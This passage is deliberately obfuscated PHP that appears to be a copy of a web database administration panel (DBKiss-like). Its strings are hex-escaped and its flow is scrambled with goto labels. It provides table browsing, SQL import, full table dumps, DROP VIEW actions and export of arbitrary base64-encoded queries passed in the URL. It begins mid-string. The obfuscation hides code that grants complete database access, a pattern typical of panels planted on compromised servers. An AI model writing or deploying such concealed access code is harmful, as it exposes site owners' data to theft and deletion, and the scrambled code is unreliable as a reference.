"\55\x2d\x20\x45\x4e\x44\40\x4f\x46\x20\104\x55\115\120\12"; echo "\55\x2d\12"; die; } goto Nx4ZU; i9OBx: function checked($bool) { if ($bool) { return "\143\x68\x65\143\x6b\x65\x64\x3d\42\x63\150\145\143\x6b\145\x64\42"; } } goto tWvz1; Cx9cu: function db_cond($k, $v) { $k_enq = quote_column($k); if (is_null($v)) { return "{$k_enq}\x20\x49\123\40\116\x55\x4c\x4c"; } else { $v = db_quote($v); return "{$k_enq}\x20\x3d\x20{$v}"; } } goto VSfii; obGur: register_shutdown_function("\x65\x72\x72\157\x72\x48\141\156\x64\x6c\x65\x72\137\x6c\x61\x73\x74"); goto kMpS2; TApHp: function time_start() { return time_micro(); } goto KPKUS; ogQzR: function html_spaces($string) { $inside_tag = false; for ($i = 0; $i < strlen($string); $i++) { $c = $string[$i]; if ("\x3c" == $c) { $inside_tag = true; } if ("\76" == $c) { $inside_tag = false; } if ("\40" == $c && !$inside_tag) { $string = substr($string, 0, $i) . "\46\x6e\x62\163\x70\73" . substr($string, $i + 1); $i += strlen("\46\156\x62\x73\160\73") - 1; } } return $string; } goto KP7nF; EezDU: $tables = list_tables(); goto Wvouw; AKqSC: function options($options, $selected = null, $ignore_type = false) { $ret = ''; foreach ($options as $k => $v) { $ret .= "\74\157\x70\x74\x69\x6f\156\x20\166\x61\154\165\145\x3d\42" . $k . "\42"; if (is_array($selected) && in_array($k, $selected) || !is_array($selected) && $k == $selected && $selected !== '' && $selected !== null) { if ($ignore_type) { $ret .= "\40\x73\145\154\x65\x63\x74\145\x64\x3d\42\163\x65\x6c\x65\143\x74\145\x64\42"; } else { if (!(is_numeric($k) xor is_numeric($selected))) { $ret .= "\x20\163\x65\x6c\x65\x63\x74\145\x64\75\42\x73\x65\154\x65\143\164\x65\144\x22"; } } } $ret .= "\76" . $v . "\x20\x3c\x2f\157\160\164\x69\157\156\x3e"; } return $ret; } goto i9OBx; caiKd: function db_insert($tbl, $dat) { global $db_driver; if (!count($dat)) { trigger_error("\144\x62\x5f\x69\x6e\x73\145\162\x74\50\x29\40\x66\x61\x69\154\145\x64\56\40\x44\x61\x74\x61\40\x69\x73\x20\145\155\160\x74\171\x2e", E_USER_ERROR); return false; } $cols = ''; $vals = ''; $first = true; foreach ($dat as $k => $v) { if ($first) { $cols .= quote_column($k); $vals .= db_quote($v); $first = false; } else { $cols .= "\54" . quote_column($k); $vals .= "\54" . db_quote($v); } } if ("\x6d\171\163\161\154" == $db_driver) { $tbl = "\x60{$tbl}\140"; } else { $tbl = "\x22{$tbl}\42"; } $q = "\111\116\123\x45\122\x54\40\111\116\x54\x4f\x20{$tbl}\40\x28{$cols}\51\x20\126\x41\x4c\x55\105\123\x20\50{$vals}\x29"; db_exe($q); } goto hR3gZ; S3aj5: echo number_format(ceil($status["\x74\157\x74\x61\154\x5f\163\151\172\x65"] / 1024), 0, '', "\40") . "\40\x6b"; goto RKJuF; jebfy: function array_col_values($arr, $col) { $ret = array(); foreach ($arr as $k => $row) { $ret[] = $row[$col]; } return $ret; } goto Sl6V0; Ze0CO: function self($cut_query = false) { $uri = $_SERVER["\122\105\x51\x55\105\123\124\137\x55\x52\x49"]; if ($cut_query) { $before = str_before($uri, "\x3f"); if ($before) { return $before; } } return $uri; } goto GRHO2; vxyJt: ?>
?import=1"class="blue">Import SQL</a> - D<u>u</u>mp database:<?php  goto udpJc; sQL7v: function file_date($file) { return date("\x59\x2d\155\x2d\144\x20\110\72\151\72\x73", filemtime($file)); } goto U3Xs2; tWvz1: function radio_assoc($checked, $assoc, $input_name, $link = false) { $ret = "\x3c\164\141\x62\x6c\145\40\143\x65\x6c\x6c\163\160\x61\143\x69\x6e\x67\75\42\x30\x22\x20\x63\x65\x6c\154\160\x61\x64\144\x69\x6e\147\x3d\x22\60\42\x3e\x3c\164\162\x3e"; foreach ($assoc as $id => $name) { $params = array("\151\x64" => $id, "\156\x61\155\x65" => $name, "\143\x68\x65\x63\x6b\x65\144" => checked($checked == $id), "\151\156\x70\165\x74\137\x6e\141\x6d\145" => $input_name); if ($link) { if (is_array($link)) { $params["\x6c\151\x6e\x6b"] = $link[$id]; } else { $params["\154\151\156\153"] = sprintf($link, $id, $name); } $ret .= sprintf("\x3c\x74\x64\76\x3c\x69\156\160\x75\164\x20\x63\x6c\x61\x73\x73\x3d\x22\143\x68\x65\143\153\x62\x6f\170\x22\40\164\x79\160\x65\x3d\x22\162\141\144\x69\157\x22\40\x6e\x61\x6d\x65\75\42\45\163\42\x20\151\x64\75\x22\x25\x73\137\45\x73\x22\40\x76\x61\x6c\x75\145\75\42\45\x73\42\x20\45\x73\76\x3c\x2f\164\x64\76\x3c\x74\144\x3e\x25\x73\46\156\x62\x73\160\x3b\x3c\x2f\x74\x64\76", $params["\151\x6e\160\165\x74\x5f\x6e\141\x6d\145"], $params["\151\x6e\x70\165\164\137\156\141\155\145"], $params["\x69\144"], $params["\151\x64"], $params["\143\150\x65\143\x6b\x65\144"], $params["\x6c\151\156\153"]); } else { $ret .= sprintf("\x3c\x74\144\x3e\74\151\156\160\165\x74\x20\x63\x6c\141\x73\163\75\42\x63\150\145\143\x6b\x62\157\170\x22\x20\x74\x79\160\145\x3d\x22\162\141\x64\151\157\x22\40\156\x61\x6d\x65\x3d\42\x25\x73\42\40\151\x64\x3d\42\x25\x73\x5f\x25\163\x22\x20\x76\x61\154\165\x65\75\x22\x25\163\42\x20\45\163\x3e\74\57\x74\144\x3e\x3c\x74\x64\x3e\x3c\x6c\x61\142\x65\154\40\x66\157\x72\x3d\42\45\163\137\45\x73\42\x3e\45\x73\x3c\57\154\141\142\145\x6c\76\46\156\x62\163\x70\73\x3c\57\164\x64\x3e", $params["\151\156\x70\165\x74\137\156\141\155\145"], $params["\151\x6e\160\x75\x74\x5f\x6e\141\155\145"], $params["\151\x64"], $params["\151\144"], $params["\x63\x68\x65\x63\x6b\145\144"], $params["\x69\x6e\160\165\164\137\x6e\x61\155\145"], $params["\x69\144"], $params["\156\141\155\145"]); } } $ret .= "\74\x2f\x74\162\76\x3c\x2f\164\141\142\154\145\76"; return $ret; } goto bgIXU; ry_zx: GET("\x70\162\145\x63\151\163\x65\x5f\143\x6f\165\156\x74", "\x62\x6f\157\x6c"); goto EezDU; NGeZL: if ($_GET["\144\165\155\160\x5f\164\x61\142\x6c\x65"]) { $type = $_GET["\x74\x79\160\x65"] ? $_GET["\x74\x79\160\x65"] : "\164\x61\142\x6c\x65"; dump_table($_GET["\x64\x75\x6d\160\137\x74\141\x62\x6c\x65"], $type); } goto lKKlK; LkUv0: if (stristr($_SERVER["\110\124\x54\120\x5f\x55\x53\x45\122\x5f\x41\107\105\x4e\124"], "\115\123\111\x45") && stristr($_SERVER["\110\124\x54\120\x5f\x55\123\105\x52\137\x41\x47\105\116\124"], "\124\162\151\144\x65\x6e\164")) { ?>
<div style="background:#ffffe1;padding:.5em 1em;border:#ddd 1px solid;display:inline-block">Internet Explorer is not supported. You may see interface glitches and javascript features broken.<br>Try using some decent browser like: Chrome, Firefox, Opera, Safari.</div><?php  } goto an4Mp; qX3Ts: if (GET("\x76\151\x65\x77\x74\x61\x62\x6c\x65", "\x73\164\162\151\156\x67")) { GET("\166\x69\x65\x77\164\x61\142\x6c\x65", "\x73\164\x72\x69\x6e\147"); GET("\x66\x75\x6c\154\x5f\143\x6f\x6e\x74\145\156\164", "\x62\157\x6f\x6c"); GET("\163\x65\x61\x72\x63\150", "\163\164\x72\x69\x6e\x67"); GET("\143\157\x6c\165\x6d\x6e", "\163\x74\x72\x69\x6e\147"); GET("\x63\x6f\x6c\165\x6d\156\137\x74\x79\160\x65", "\x73\x74\162\151\x6e\x67"); GET("\157\146\x66\163\145\164", "\151\156\x74"); GET("\157\x72\x64\x65\162\137\x62\x79", "\163\x74\162\151\156\x67"); GET("\x6f\x72\144\x65\x72\137\x64\145\163\143", "\x62\x6f\157\154"); POST("\146\x75\x6c\154\137\x63\x6f\156\x74\x65\x6e\x74", "\142\x6f\x6f\154"); set_time_limit(0); $full_content = $_GET["\x66\x75\154\x6c\x5f\143\x6f\x6e\x74\145\156\164"] || $_POST["\146\x75\x6c\154\137\143\x6f\156\x74\145\x6e\164"]; $table = $_GET["\x76\151\145\167\164\141\x62\x6c\145"]; $table_enq = quote_table($table); $count = db_one("\x53\x45\114\x45\103\x54\x20\x43\x4f\125\116\x54\50\52\x29\x20\x46\x52\117\115\x20{$table_enq}"); $types = table_columns($table); $columns = array_assoc(array_keys($types)); $columns2 = $columns; foreach ($columns2 as $k => $v) { $columns2[$k] = $v . "\40\x28" . $types[$k] . "\51"; } $types_group = table_columns_group($types); $where = ''; $found = $count; if ($_GET["\163\145\x61\162\x63\150"]) { $search = $_GET["\x73\145\141\x72\143\150"]; $cols2 = array(); if ($_GET["\x63\x6f\154\x75\x6d\x6e"]) { $cols2[] = $_GET["\x63\x6f\154\x75\x6d\x6e"]; } else { $cols2 = $columns; } $where = ''; $search = db_escape($search); $search = str_replace(array("\45", "\x5f"), array("\134\45", "\x5c\137"), $search); $column_type = ''; if (!$_GET["\x63\x6f\154\x75\x6d\x6e"]) { $column_type = $_GET["\x63\157\154\x75\155\x6e\137\x74\171\160\145"]; } else { $_GET["\x63\x6f\x6c\165\155\x6e\137\164\x79\x70\145"] = ''; } $ignore_int = false; $ignore_time = false; foreach ($columns as $col) { if (!$_GET["\x63\157\154\165\155\x6e"] && $column_type) { if ($types[$col] != $column_type) { continue; } } if (!$column_type && !is_numeric($search) && strstr($types[$col], "\151\156\x74")) { $ignore_int = true; continue; } if (!$column_type && is_numeric($search) && (strstr($types[$col], "\164\x69\155\x65") || strstr($types[$col], "\x64\141\164\x65"))) { $ignore_time = true; continue; } if ($_GET["\x63\157\154\x75\155\156"] && $col != $_GET["\143\x6f\x6c\x75\x6d\156"]) { continue; } if ($where) { $where .= "\x20\x4f\x52\40"; } if (is_numeric($search)) { if ("\155\171\163\161\x6c" == $db_driver) { $where .= "\140{$col}\x60\40\75\40\47{$search}\x27\40"; } else { $where .= "\x22{$col}\42\x20\x3d\x20\x27{$search}\x27\40"; } } else { if ("\155\171\163\161\x6c" == $db_driver) { $where .= "\x60{$col}\140\40\x4c\111\113\x45\x20\47\45{$search}\45\47\40"; } else { if ("\x70\147\163\161\x6c" == $db_driver) { $where .= "\42{$col}\42\x20\x49\114\x49\113\x45\40\47\45{$search}\x25\x27\x20"; } else { if ("\163\161\x6c\x69\164\145" == $db_driver) { $where .= "\x22{$col}\x22\x20\114\111\113\x45\40\x27\x25{$search}\45\47\x20"; } else { trigger_error("\x64\x62\137\x64\162\151\166\145\x72\40\156\x6f\x74\40\x69\x6d\x70\x6c\145\155\x65\x6e\164\145\x64"); } } } } } if (($ignore_int || $ignore_time) && !$where) { $where .= "\40\61\75\x32\40"; } $where = "\127\110\105\x52\x45\x20" . $where; } if ($where) { $table_enq = quote_table($table); $found = db_one("\123\x45\x4c\x45\103\x54\40\103\117\x55\116\x54\50\52\x29\x20\x46\122\x4f\x4d\40{$table_enq}\40{$where}"); } $limit = 50; $offset = $_GET["\157\146\x66\x73\x65\x74"]; $page = floor($offset / $limit + 1); $pages = ceil($found / $limit); $pk = table_pk($table); if (strstr($pk, "\72")) { $pkeys = $pk; $pkeys_enq = QuotePkeys($pkeys); } else { $pk_enq = quote_column($pk); $pkeys = false; } $order = "\117\122\x44\105\x52\40\x42\131"; if ($_GET["\157\162\144\145\x72\137\142\x79"]) { $order_by_enq = quote_column($_GET["\157\162\144\145\162\137\142\x79"]); if ("\x63\150\x61\162" == $types[$_GET["\x6f\x72\x64\x65\162\137\x62\x79"]] || "\x74\145\170\x74" == $types[$_GET["\x6f\x72\x64\x65\162\137\x62\x79"]]) { $order .= "\x20\114\x4f\x57\x45\x52\x28{$order_by_enq}\x29"; } else { $order .= "\x20{$order_by_enq}"; } } else { if ($pk) { if ($pkeys) { $order .= "\40{$pkeys_enq}"; $_GET["\x6f\x72\144\x65\162\x5f\x62\171"] = FirstFromPkeys($pk); } else { $order .= "\x20{$pk_enq}"; $_GET["\157\162\x64\145\x72\137\x62\x79"] = $pk; } } else { $order = ''; } } if ($_GET["\157\x72\144\x65\162\x5f\x64\x65\163\143"]) { $order .= "\x20\x44\x45\x53\103"; } $table_enq = quote_table($table); $base_query = "\123\x45\x4c\105\103\124\x20\52\40\x46\122\x4f\x4d\40{$table_enq}\x20{$where}\x20{$order}"; $rs = db_query(db_limit($base_query, $offset, $limit)); if ($count && $rs) { $rows = array(); while ($row = db_row($rs)) { $rows[] = $row; } db_free($rs); if (!$pkeys) { if (count($rows) && !array_col_match_unique($rows, $pk, "\43\x5e\x5c\x64\x2b\x24\x23")) { $pk = guess_pk($rows); } } } function indenthead($str) { if (is_array($str)) { $str2 = ''; foreach ($str as $k => $v) { $str2 .= sprintf("\x25\163\x3a\x20\x25\163" . "\15\xa", $k, $v); } $str = $str2; } $lines = explode("\12", $str); $max_len = 0; foreach ($lines as $k => $line) { $lines[$k] = trim($line); if (preg_match("\43\x5e\x5b\136\72\135\x2b\x3a\x23", $line, $match)) { if ($max_len < strlen($match[0])) { $max_len = strlen($match[0]); } } } foreach ($lines as $k => $line) { if (preg_match("\x23\x5e\x5b\136\x3a\x5d\53\72\x23", $line, $match)) { $lines[$k] = str_replace($match[0], $match[0] . str_repeat("\46\156\x62\163\160\73", $max_len - strlen($match[0])), $line); } } return implode("\xd\12", $lines); } ?>
<!doctypehtml><html><head><meta content="text/html; charset=<?php  echo $page_charset; ?>
"http-equiv="Content-Type"><meta content="noindex, nofollow"name="robots"><title><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
><?php  echo $table; ?>
</title><link href="<?php  echo $_SERVER["\x50\110\120\137\123\105\114\106"]; ?>
?dbkiss_favicon=1"rel="shortcut icon"></head><body><?php  layout(); ?>
<h1><a href="<?php  echo $_SERVER["\x50\x48\120\137\x53\x45\114\106"]; ?>
"class="blue"style="<?php  echo $db_name_style; ?>
"><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
</a>><?php  echo $table; ?>
</h1><?php  conn_info(); ?>
<p><a href="<?php  echo $_SERVER["\x50\110\120\137\123\x45\x4c\x46"]; ?>
"class="blue">All tables</a> > <a href="<?php  echo $_SERVER["\x50\110\120\137\x53\105\x4c\106"]; ?>
?viewtable=<?php  echo $table; ?>
"class="blue"><?php  echo $table; ?>
</a>(<?php  echo $count; ?>
) / Export to CSV: <a href="<?php  echo $_SERVER["\x50\x48\x50\x5f\123\x45\x4c\x46"]; ?>
?export=csv&separator=<?php  echo urlencode("\x7c"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">pipe</a> - <a href="<?php  echo $_SERVER["\120\x48\120\137\x53\105\114\106"]; ?>
?export=csv&separator=<?php  echo urlencode("\x9"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">tab</a> - <a href="<?php  echo $_SERVER["\x50\110\x50\137\x53\105\x4c\106"]; ?>
?export=csv&separator=<?php  echo urlencode("\x2c"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">comma</a> - <a href="<?php  echo $_SERVER["\x50\x48\x50\x5f\123\105\114\106"]; ?>
?export=csv&separator=<?php  echo urlencode("\x3b"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">semicolon</a><?php  AutoFocus_HelpLink(); ?>
</p><?php  AutoFocus_Script(); ?>
<form action="<?php  echo $_SERVER["\120\x48\x50\x5f\123\x45\114\106"]; ?>
"style="margin-bottom:1em"name="AutoFocus_Form"onsubmit='document.getElementById("AutoFocus_Submit").focus()'><input value="<?php  echo $table; ?>
"name="viewtable"type="hidden"><div><u>S</u>earch: <input value="<?php  echo html_once($_GET["\163\145\141\162\143\150"]); ?>
"name="search"id="AutoFocus_Input"size="30"onfocus='this.setAttribute("isfocused","1")'onblur='this.setAttribute("isfocused","")'autocomplete="off"><input value="Search"type="submit"id="AutoFocus_Submit"> <select><option>Truncate content</option><option>Full content</option></select> <a href="javascript:;"class="help"onclick='Tooltip(this,"Help_TableSearch")'title="Help: searching"></a></div><div>Column: <select name="column"><option value=""></option><?php  echo options($columns2, $_GET["\143\157\x6c\x75\x6d\156"]); ?>
</select> Type: <select name="column_type"><option value=""></option><?php  echo options($types_group, $_GET["\143\x6f\154\x75\155\156\137\x74\171\160\145"]); ?>
</select> S<u>o</u>rt: <select name="order_by"accesskey="o"id="order_by"><option value=""></option><?php  echo options($columns, $_GET["\x6f\x72\x64\145\162\x5f\142\x79"]); ?>
</select> Sort type: <select><option>Sort up</option><option>Sort down</option></select> Export query: <a href="">View in SQL Editor</a></div></form><div style="display:none"id="Help_TableSearch">Wyszukiwanie: id=nick, gdy INT to dokladnie sprawdza, gdy char lub text to uzywa LIKE.<br>Wystarczy wpisac czesc nazwy kolumny, nie trzeba calej, wtedy znajdzie 1 kolumne ktora zawiera to slowo i w niej bedzie wyszukiwał.<br>Sort: w liscie dodac sortowanie desc, czyli: id, id DESC, name, name DESC - w &amplgt;options><br>Type: dac jako checkboxy? Zrobic to jakos wygodniej zeby nie bylo rozdzielenia na Column i Type jak jest teraz.</div><?php  if ($count) { if ($count && $count != $found) { ?>
<p>Found: <b><?php  echo $found; ?>
</b></p><?php  } if ($found) { if ($pages > 1) { ?>
<p><?php  if ($page > 1) { ?>
<a href="<?php  echo url_offset(($page - 1) * $limit - $limit); ?>
">&lt;&lt; Prev</a><?php  } ?>
Page <b><?php  echo $page; ?>
</b>of <b><?php  echo $pages; ?>
</b><?php  if ($pages > $page) { ?>
<a href="<?php  echo url_offset($page * $limit); ?>
">Next >></a><?php  } ?>
</p><?php  } ?>
<table cellspacing="0"class="ls"><tr><?php  if ($pk || $pkeys) { ?>
<th>#</th><?php  } foreach ($columns as $col) { $params = array("\x6f\162\144\145\x72\x5f\x62\x79" => $col); $params["\157\x72\x64\145\x72\x5f\144\x65\x73\143"] = 0; $params["\x6f\146\x66\163\x65\x74"] = 0; $col2 = $col; if ($_GET["\x6f\162\x64\x65\x72\x5f\142\x79"] == $col) { if ($_GET["\x6f\162\144\x65\162\137\144\145\163\x63"]) { $col2 = "{$col2}\x20\74\163\160\x61\x6e\40\x63\x6c\141\163\163\75\x64\x6f\167\156\141\162\162\x6f\x77\x31\x20\x6f\x6e\x6d\157\x75\x73\x65\x64\157\167\x6e\x3d\42\123\157\162\164\x5f\103\x6c\151\x63\153\50\144\157\x63\165\x6d\145\156\x74\56\x67\145\x74\105\154\x65\x6d\145\x6e\x74\x42\171\x49\144\50\x27\x63\x75\162\x72\x65\x6e\164\x5f\x6f\162\144\145\162\137\x61\162\x72\157\167\x27\x29\x2c\40\x65\166\145\156\x74\x29\73\42\76\74\x2f\163\160\141\156\x3e"; } else { $col2 = "{$col2}\x20\74\163\x70\141\x6e\x20\143\x6c\x61\163\163\x3d\x75\160\x61\x72\162\x6f\167\x31\x20\x6f\156\155\157\x75\163\x65\x64\x6f\167\x6e\75\42\x53\x6f\x72\164\x5f\103\154\x69\143\x6b\x28\x64\x6f\x63\165\155\x65\156\x74\x2e\147\145\164\x45\154\145\155\x65\x6e\164\102\x79\111\144\x28\x27\143\165\162\x72\x65\x6e\x74\137\157\162\144\145\162\x5f\141\x72\x72\x6f\x77\47\51\54\40\145\x76\x65\x6e\164\x29\73\x22\x3e\74\x2f\x73\x70\x61\x6e\76"; } $params["\x6f\x72\144\x65\162\x5f\144\x65\163\143"] = $_GET["\x6f\162\x64\145\x72\137\144\145\163\143"] ? 0 : 1; } $camelcase = strtolower($col) != $col; ?>
<th class="sortable<?php  echo $camelcase; ?>
"><a href="javascript:void(0)"mylink="<?php  echo url(self(), $params); ?>
"id="current_order_arrow"onmousedown="Sort_Click(this,event)"onmousemove="Sort_Mousemove(this,event)"onmouseout="Sort_Mouseout(this,event)"onmouseover="Sort_Mouseover(this,event)"<?php  if ($_GET["\x6f\162\144\145\162\137\x62\x79"] == $col) { } ?>
><?php  echo $col2; ?>
</a></th><?php  } ?>
</tr><?php  $get_search = $_GET["\163\145\x61\162\143\150"]; $edit_url_tpl = url(self(true), array("\x61\x63\x74\151\x6f\156" => "\x65\x64\x69\x74\x72\x6f\x77", "\x74\x61\x62\x6c\x65" => $table, "\x70\153" => $pkeys ? $pkeys : $pk, "\151\144" => "\x45\104\x49\x54\137\125\122\114\x5f\x54\x50\x4c\x5f\x49\x44")); foreach ($rows as $row) { ?>
<tr onclick="mark_row(this,event)"><?php  if ($pk || $pkeys) { $edit_url = str_replace("\105\104\111\x54\137\x55\122\114\x5f\124\x50\114\x5f\x49\x44", EncodeRowId($row, $pk, $pkeys), $edit_url_tpl); ?>
<td valign="top"><a href="javascript:void(0)"onclick='popup("<?php  echo $edit_url; ?>
",<?php  echo EDITROW_POPUP_WIDTH; ?>
,<?php  echo EDITROW_POPUP_HEIGHT; ?>
)'>Edit</a></td><?php  } foreach ($row as $k => $v) { $v = strip_tags($v); $v = create_links($v); if (!$full_content) { $v = truncate_html($v, 50); } if ($full_content) { $v = str_wrap($v, 80, "\74\x62\162\x3e", true); } if ($full_content) { $v = nl2br($v); } if ($get_search) { $search = $_GET["\x73\x65\x61\x72\x63\x68"]; if (isset($_GET["\143\157\154\x75\155\156"]) && $_GET["\x63\157\x6c\165\155\156"]) { if ($k == $_GET["\x63\x6f\154\x75\155\x6e"]) { $v = ColorSearchPhrase($v, $search); } } else { $v = ColorSearchPhrase($v, $search); } } if ($types[$k] == "\151\x6e\164" && IsTimestampColumn($k, $v)) { $tmp = date("\x59\55\x6d\x2d\x64\x20\110\x3a\x69", $v); if ($tmp) { $v = $tmp; } } ?>
<td nowrap<?php  echo $full_content ? "\x76\141\154\151\x67\156\75\42\x74\157\160\42" : ''; ?>
><?php  echo is_null($row[$k]) ? "\55" : $v; ?>
</td><?php  } ?>
</tr><?php  } ?>
</table><?php  if ($pages > 1) { ?>
<p><?php  if ($page > 1) { ?>
<a href="<?php  echo url_offset(($page - 1) * $limit - $limit); ?>
">&lt;&lt; Prev</a><?php  } ?>
Page <b><?php  echo $page; ?>
</b>of <b><?php  echo $pages; ?>
</b><?php  if ($pages > $page) { ?>
<a href="<?php  echo url_offset($page * $limit); ?>
">Next >></a><?php  } ?>
</p><?php  } } } ?>
</body></html><?php  die; } goto G4XWx; TuOOH: ?>
</h1><?php  goto XvoIy; yxVdI: function redirect_error($url, $msg) { if (strpos($msg, "\x3c") === false) { $msg = sprintf("\74\x62\x3e\45\x73\74\x2f\x62\76", $msg); } cookie_set("\x66\x6c\141\163\150\137\x65\162\x72\157\162", $msg); redirect($url); } goto eDglQ; ytMvS: if ("\x31\x32\67\56\x30\56\60\56\61" == $_SERVER["\123\105\122\126\x45\122\x5f\101\104\104\x52"] && "\61\x32\x37\56\x30\56\x30\56\x31" == $_SERVER["\122\105\x4d\117\x54\x45\x5f\101\104\104\122"]) { function dump($data) { if (!headers_sent()) { header("\x48\x54\124\120\x2f\61\x2e\60\x20\x35\60\63\40\123\145\162\166\151\x63\145\40\125\156\x61\x76\141\151\154\141\142\154\145"); while (ob_get_level()) { ob_end_clean(); } header("\103\157\156\x74\145\156\164\x2d\145\x6e\143\157\144\151\156\x67\72\40\x6e\157\x6e\145"); header("\103\157\x6e\x74\145\x6e\164\x2d\x74\171\160\145\72\40\164\x65\x78\164\x2f\x68\164\155\154"); header("\x45\x78\x70\151\x72\145\163\x3a\x20\x4d\157\156\54\x20\x32\x36\40\x4a\165\x6c\40\x31\x39\x39\x37\x20\60\x35\72\x30\x30\72\x30\x30\x20\107\x4d\x54"); header("\x4c\x61\x73\x74\55\x4d\x6f\x64\151\146\151\x65\x64\x3a\40" . gmdate("\x44\54\x20\x64\x20\x4d\40\131\40\110\x3a\x69\x3a\163") . "\40\x47\x4d\x54"); header("\103\141\143\x68\145\x2d\103\x6f\x6e\x74\x72\x6f\x6c\x3a\x20\156\157\x2d\x73\164\157\x72\145\54\40\x6e\157\x2d\143\141\x63\x68\x65\x2c\40\155\165\163\x74\55\162\145\x76\141\154\151\144\x61\164\145"); header("\103\141\143\150\145\55\103\x6f\x6e\164\162\157\x6c\72\x20\160\x6f\x73\164\x2d\143\x68\145\143\153\x3d\x30\54\x20\160\x72\x65\x2d\x63\150\145\x63\153\x3d\x30", false); header("\120\162\x61\x67\x6d\x61\72\40\156\157\55\143\x61\x63\150\x65"); } if (func_num_args() > 1) { $data = func_get_args(); } if ($data && count($data) == 2 && isset($data[1]) && "\167\x69\x6e\144\157\x77\163\x2d\61\x32\65\x30" == strtolower($data[1])) { $charset = "\x77\x69\156\144\157\167\x73\x2d\61\x32\65\x30"; $data = $data[0]; } else { if ($data && count($data) == 2 && isset($data[1]) && "\151\x73\157\x2d\70\x38\x35\x39\x2d\62" == strtolower($data[1])) { $charset = "\x69\x73\x6f\55\x38\x38\x35\71\55\x32"; $data = $data[0]; } else { $charset = "\165\164\146\x2d\x38"; } } printf("\74\x21\x64\157\x63\164\171\160\145\40\150\164\x6d\154\x3e\x3c\150\x65\141\144\x3e\74\x6d\145\164\141\40\143\150\141\x72\x73\x65\164\75" . $charset . "\76\x3c\164\x69\x74\154\x65\76\144\x75\x6d\160\x28\x29\x3c\57\164\151\164\x6c\145\76\x3c\x2f\x68\x65\141\144\76\x3c\142\157\x64\x79\x3e"); printf("\74\150\61\40\163\x74\x79\x6c\145\75\x22\143\157\x6c\x6f\x72\x3a\40\x72\147\142\50\x31\65\60\x2c\61\x35\x2c\x32\x32\x35\x29\73\x22\76\144\x75\155\160\x28\x29\74\57\150\61\x3e"); ob_start(); print_r($data); $html = ob_get_clean(); $html = htmlspecialchars($html); printf("\x3c\160\162\x65\x3e\45\x73\x3c\57\160\162\x65\x3e", $html); printf("\x3c\57\x62\157\x64\x79\76\x3c\x2f\x68\164\155\154\76"); die; } } goto TwbDZ; RTk9Z: if ($_POST["\x64\x72\157\x70\137\x76\151\145\x77"]) { $drop_view_enq = quote_table($_POST["\x64\162\157\x70\137\x76\x69\145\x77"]); db_exe("\104\122\117\x50\40\x56\x49\105\x57\x20" . $drop_view_enq); header("\x4c\157\143\x61\164\151\x6f\x6e\x3a\x20" . $_SERVER["\120\110\120\x5f\x53\105\114\106"]); die; } goto Bp3i2; I2E72: function cookie_del($key) { $key = COOKIE_PREFIX . $key; if (version_compare(PHP_VERSION, "\65\x2e\62\x2e\x30", "\x3e\75")) { setcookie($key, '', time() - 3600 * 24, '', '', false, true); } else { setcookie($key, '', time() - 3600 * 24); } unset($_COOKIE[$key]); } goto oobFM; mWBml: ?>
"name="table_filter"id="AutoFocus_Input"onfocus='this.setAttribute("isfocused","1")'onblur='this.setAttribute("isfocused","")'autocomplete="off"></td><td style="padding-right:3px"><input value="Filter"type="submit"id="AutoFocus_Submit"class="button"wait="1"><?php  goto ZWByp; oobFM: if (!SQLITE_USED) { conn_modify("\144\x62\137\x6e\x61\155\145"); conn_modify("\144\142\137\143\150\x61\162\x73\x65\164"); conn_modify("\x70\141\147\145\x5f\x63\150\141\x72\163\x65\164"); } goto SP0nY; Kj1y6: function cookie_set($key, $val, $time = COOKIE_SESS) { $key = COOKIE_PREFIX . $key; $expire = $time ? time() + $time : 0; if (version_compare(PHP_VERSION, "\65\x2e\x32\56\x30", "\x3e\75")) { setcookie($key, $val, $expire, '', '', false, true); } else { setcookie($key, $val, $expire); } $_COOKIE[$key] = $val; } goto I2E72; SNedA: if ($_GET["\x64\151\163\x63\x6f\x6e\156\145\143\x74"]) { if (SQLITE_USED) { ht_logout(); } cookie_del("\x64\142\x5f\160\141\x73\x73"); header("\114\157\x63\x61\164\151\x6f\156\72\40" . $_SERVER["\120\110\120\137\x53\105\x4c\x46"]); die; } goto JGwKU; JQDG5: SQLite_DoChecks(); goto s7BGF; dMQeL: function db_row_num($query, $dat = false) { global $db_driver, $db_link; if ("\155\x79\163\x71\154" == $db_driver) { if (is_resource($query)) { $rs = $query; return mysql_fetch_row($rs); } else { $rs = db_query($query, $dat); $row = mysql_fetch_row($rs); db_free($rs); if ($row) { return $row; } return false; } } else { if ("\160\x67\x73\161\x6c" == $db_driver) { if (is_resource($query) || is_object($query)) { $rs = $query; return pg_fetch_row($rs); } else { $rs = db_query($query, $dat); $row = pg_fetch_row($rs); db_free($rs); if ($row) { return $row; } return false; } } else { if ("\163\161\x6c\151\x74\145" == $db_driver) { if (is_object($query)) { $stmt = $query; return $stmt->fetch(PDO::FETCH_NUM); } else { $stmt = db_query($query, $dat); $row = $stmt->fetch(PDO::FETCH_NUM); $stmt = null; if ($row) { return $row; } return false; } } } } } goto fs_A4; Po2GF: ?>
</div><?php  goto kqd73; uuGey: function table_data($table) { global $db_driver; set_time_limit(0); if ("\155\171\163\161\x6c" == $db_driver) { $query = "\x53\x45\114\105\x43\x54\x20\x2a\x20\106\x52\117\x4d\40\x60{$table}\140\x20"; } else { $query = "\123\105\x4c\x45\103\x54\x20\x2a\x20\106\x52\x4f\x4d\40\x22{$table}\42\x20"; } $result = db_query($query); $count = 0; while ($row = db_row($result)) { if ("\155\x79\163\161\154" == $db_driver) { echo "\x49\116\123\x45\122\124\40\x49\116\124\x4f\x20\140" . $table . "\x60\40\x56\101\x4c\x55\105\x53\40\50"; } else { echo "\x49\x4e\123\x45\122\x54\x20\111\x4e\124\117\x20\42" . $table . "\x22\x20\126\x41\114\x55\105\x53\x20\x28"; } $x = 0; foreach ($row as $key => $value) { if ($x == 1) { echo "\54\x20"; } else { $x = 1; } if (is_numeric($value)) { echo "\47" . $value . "\x27"; } elseif (is_null($value)) { echo "\116\125\x4c\114"; } else { echo "\x27" . escape($value) . "\47"; } } echo "\51\x3b\xa"; $count++; if ($count % 100 == 0) { flush(); } } db_free($result); if ($count) { echo "\xa"; } } goto Q3336; CGybR: $_error_style = ''; goto s_VbR; DSXzk: echo 